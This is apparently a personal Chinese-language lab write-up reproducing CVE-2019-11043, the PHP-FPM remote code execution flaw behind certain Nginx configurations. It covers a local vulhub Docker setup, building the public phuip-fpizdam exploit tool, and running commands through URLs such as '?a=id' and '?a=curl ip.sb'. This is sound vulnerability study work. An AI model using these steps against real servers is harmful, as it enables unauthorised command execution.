一、漏洞概述
CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a
时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
攻击者可以使用换行符%0a
来破坏fastcgi_split_path_info
指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
二、影响范围
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
● PHP 7.0 版本
● PHP 7.1 版本
● PHP 7.2 版本
● PHP 7.3 版本
三、漏洞复现(Mac)
环境搭建
需要安装docker 与golang(没用)(已经安装Docker Desktop for Mac 和 Go)
brew install docker docker-compose
brew install golang
使用vulhub中CVE-2019-11043的环境进行搭建
PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d
启动环境之后,就可以看到漏洞环境的默认页面。本地搭建为127.0.0.1:8080/index.php
localhost不行?
“http://your-ip:8080/index.php”
安装漏洞利用工具phuip-fpizdam
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build
发生报错,原因:默认使用的是http://proxy.golang.org,在国内无法访问
换一个国内能访问的代理地址:https://goproxy.cn。重新执行命令即可
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
漏洞利用
执行go run . “http://your-ip:8080/index.php”
go run . "http://127.0.0.1:8080/index.php"
访问http://127.0.0.1:8080/index.php?a=id
127.0.0.1:8080/index.php?a=id
注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程。
结果:
页面出现No input file specified.错误
解决方式:https://www.itmemo.cn/html/308.html
其他测试:
http://127.0.0.1:8080/index.php?a=whoami
http://127.0.0.1:8080/index.php?a=curl ip.sb
a=curl ip.sb 是linux查询公网IP的命令
参考
PHP-FPM Remote Command Execution (CVE-2019-11043)
https://bugs.php.net/bug.php?id=78599
https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/